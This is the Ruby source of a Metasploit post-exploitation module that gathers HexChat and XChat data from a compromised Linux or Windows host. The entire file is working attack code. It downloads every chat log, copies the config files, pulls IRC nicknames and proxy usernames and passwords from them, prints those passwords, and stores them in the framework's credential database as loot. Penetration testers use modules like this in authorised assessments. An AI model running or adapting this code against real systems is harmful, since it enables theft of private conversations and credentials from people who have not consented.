261 lines
7.0 KiB
Ruby
261 lines
7.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Exploit::Deprecated
|
|
|
|
moved_from 'post/linux/gather/enum_xchat'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Linux Gather HexChat/XChat Enumeration',
|
|
'Description' => %q{
|
|
This module will collect HexChat and XChat's config files and chat logs from the victim's
|
|
machine. There are three actions you may choose: CONFIGS, CHATS, and ALL. The
|
|
CONFIGS option can be used to collect information such as channel settings,
|
|
channel/server passwords, etc. The CHATS option will simply download all the
|
|
.log files.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['sinn3r', 'h00die'],
|
|
'Platform' => ['linux'],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'Actions' => [
|
|
['CONFIGS', { 'Description' => 'Collect config files' } ],
|
|
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
|
|
['ALL', { 'Description' => 'Collect both the configs and chat logs' }]
|
|
],
|
|
'DefaultAction' => 'ALL',
|
|
'References' => [
|
|
['URL', 'https://hexchat.readthedocs.io/en/latest/settings.html']
|
|
],
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptBool.new('HEXCHAT', [false, 'Enumerate hexchat', true ]),
|
|
OptBool.new('XCHAT', [false, 'Enumerate xchat', false ])
|
|
])
|
|
end
|
|
|
|
def whoami
|
|
cmd_exec('/usr/bin/whoami').chomp
|
|
end
|
|
|
|
def sep
|
|
if session.platform == 'windows'
|
|
return '\\'
|
|
else
|
|
return '/'
|
|
end
|
|
end
|
|
|
|
def get_paths(mode = 'HEXCHAT')
|
|
paths = []
|
|
if session.platform == 'windows'
|
|
appdata = get_env('APPDATA')
|
|
if mode == 'HEXCHAT'
|
|
paths << "#{appdata}\\HexChat\\"
|
|
elsif datastore['XCHAT']
|
|
paths << "#{appdata}\\X-Chat 2\\"
|
|
end
|
|
else
|
|
user = whoami
|
|
fail_with(Failure::Unknown, 'Unable to get username.') if user.blank?
|
|
vprint_status("Detcted username: #{user}")
|
|
|
|
if mode == 'HEXCHAT'
|
|
# https://hexchat.readthedocs.io/en/latest/settings.html
|
|
paths << "/home/#{user}/.config/hexchat/"
|
|
elsif mode == 'XCHAT'
|
|
paths << "/home/#{user}/.xchat2/"
|
|
end
|
|
end
|
|
paths
|
|
end
|
|
|
|
def list_logs(base, mode = 'HEXCHAT')
|
|
files = []
|
|
if mode == 'HEXCHAT'
|
|
# hexchat has a folder for each server
|
|
# inside each folder, like 'freenode'
|
|
# are files: sever.log, <server>.log, .log
|
|
folders = dir base
|
|
folders.each do |folder|
|
|
file = dir "#{base}#{sep}#{folder}"
|
|
file.each do |f|
|
|
if f.end_with? '.log'
|
|
files << "#{base}#{sep}#{folder}#{sep}#{f}"
|
|
end
|
|
end
|
|
end
|
|
elsif mode == 'XCHAT'
|
|
file = dir base
|
|
file.each do |f|
|
|
if f.end_with? '.log'
|
|
files << "#{base}#{sep}#{f}"
|
|
end
|
|
end
|
|
end
|
|
files
|
|
end
|
|
|
|
def save(type, data, mode = 'HEXCHAT')
|
|
case type
|
|
when :configs
|
|
type = "#{mode.downcase}.config"
|
|
when :chatlogs
|
|
type = "#{mode.downcase}.chatlogs"
|
|
end
|
|
|
|
data.each do |d|
|
|
fname = ::File.basename(d[:filename])
|
|
p = store_loot(
|
|
type,
|
|
'text/plain',
|
|
session,
|
|
d[:data],
|
|
fname
|
|
)
|
|
print_good("#{fname} saved as #{p}")
|
|
end
|
|
end
|
|
|
|
def get_chatlogs(base, mode = 'HEXCHAT')
|
|
logs = []
|
|
|
|
case mode
|
|
when 'XCHAT'
|
|
base_logs = "#{base}#{sep}xchatlogs"
|
|
when 'HEXCHAT'
|
|
base_logs = "#{base}#{sep}logs"
|
|
else
|
|
vprint_error("Invalid mode: #{mode}")
|
|
return logs
|
|
end
|
|
unless directory? base_logs
|
|
vprint_error("Chat logs not found at #{base_logs}")
|
|
return logs
|
|
end
|
|
list_logs(base_logs, mode).each do |l|
|
|
vprint_status("Downloading: #{l}")
|
|
data = read_file(l)
|
|
logs << {
|
|
filename: l,
|
|
data: data
|
|
}
|
|
end
|
|
logs
|
|
end
|
|
|
|
def parse_config(conf)
|
|
if conf =~ /^irc_user_name = (.+)$/
|
|
print_good "IRC nick: #{Regexp.last_match(1)}"
|
|
end
|
|
if conf =~ /^irc_nick1 = (.+)$/
|
|
print_good "IRC nick1: #{Regexp.last_match(1)}"
|
|
end
|
|
if conf =~ /^irc_nick2 = (.+)$/
|
|
print_good "IRC nick2: #{Regexp.last_match(1)}"
|
|
end
|
|
if conf =~ /^irc_nick3 = (.+)$/
|
|
print_good "IRC nick3: #{Regexp.last_match(1)}"
|
|
end
|
|
/^net_proxy_user = (?<proxyuser>.+)$/ =~ conf
|
|
/^net_proxy_pass = (?<proxypass>.+)$/ =~ conf
|
|
/^net_proxy_host = (?<proxyhost>.+)$/ =~ conf
|
|
/^net_proxy_port = (?<proxyport>.+)$/ =~ conf
|
|
unless proxypass.blank? || proxyuser.blank? || proxyhost.blank? || proxyport.blank?
|
|
proxyhost.strip!
|
|
proxyport.strip!
|
|
proxyuser.strip!
|
|
proxypass.strip!
|
|
print_good("Proxy conf: #{proxyhost}:#{proxyport} -> #{proxyuser}/#{proxypass}")
|
|
create_credential_and_login({
|
|
address: proxyhost,
|
|
port: proxyport,
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id,
|
|
origin_type: :service,
|
|
private_type: :password,
|
|
private_data: proxypass,
|
|
public_data: proxyuser,
|
|
service_name: 'proxy',
|
|
module_fullname: fullname,
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
})
|
|
end
|
|
end
|
|
|
|
def get_configs(base, mode = 'HEXCHAT')
|
|
config = []
|
|
files = []
|
|
if mode == 'XCHAT'
|
|
files = ['servlist_.conf', 'xchat.conf']
|
|
elsif mode == 'HEXCHAT'
|
|
files = ['servlist.conf', 'hexchat.conf']
|
|
end
|
|
files.each do |f|
|
|
conf = base + f
|
|
unless file? conf
|
|
vprint_error("File not found: #{conf}")
|
|
next
|
|
end
|
|
vprint_good("Downloading: #{conf}")
|
|
buf = read_file(conf)
|
|
next if buf.blank?
|
|
|
|
if conf.end_with? 'chat.conf'
|
|
parse_config buf
|
|
end
|
|
config << {
|
|
filename: f,
|
|
data: buf
|
|
}
|
|
end
|
|
|
|
config
|
|
end
|
|
|
|
def run
|
|
fail_with(Failure::BadConfig, 'Please specify an action.') if action.nil?
|
|
|
|
if datastore['XCHAT']
|
|
get_paths('XCHAT').each do |base|
|
|
unless directory? base
|
|
print_error("XChat not installed or used by user. #{base} not found.")
|
|
end
|
|
|
|
configs = get_configs(base, 'XCHAT') if action.name =~ /ALL|CONFIGS/i
|
|
chatlogs = get_chatlogs(base, 'XCHAT') if action.name =~ /ALL|CHATS/i
|
|
|
|
save(:configs, configs, 'XCHAT') unless configs.blank?
|
|
save(:chatlogs, chatlogs, 'XCHAT') unless chatlogs.blank?
|
|
end
|
|
end
|
|
|
|
if datastore['HEXCHAT']
|
|
get_paths.each do |base|
|
|
unless directory? base
|
|
print_error("HexChat not installed or used by user. #{base} not found.")
|
|
end
|
|
|
|
configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i
|
|
chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i
|
|
|
|
save(:configs, configs) unless configs.blank?
|
|
save(:chatlogs, chatlogs) unless chatlogs.blank?
|
|
end
|
|
end
|
|
end
|
|
end
|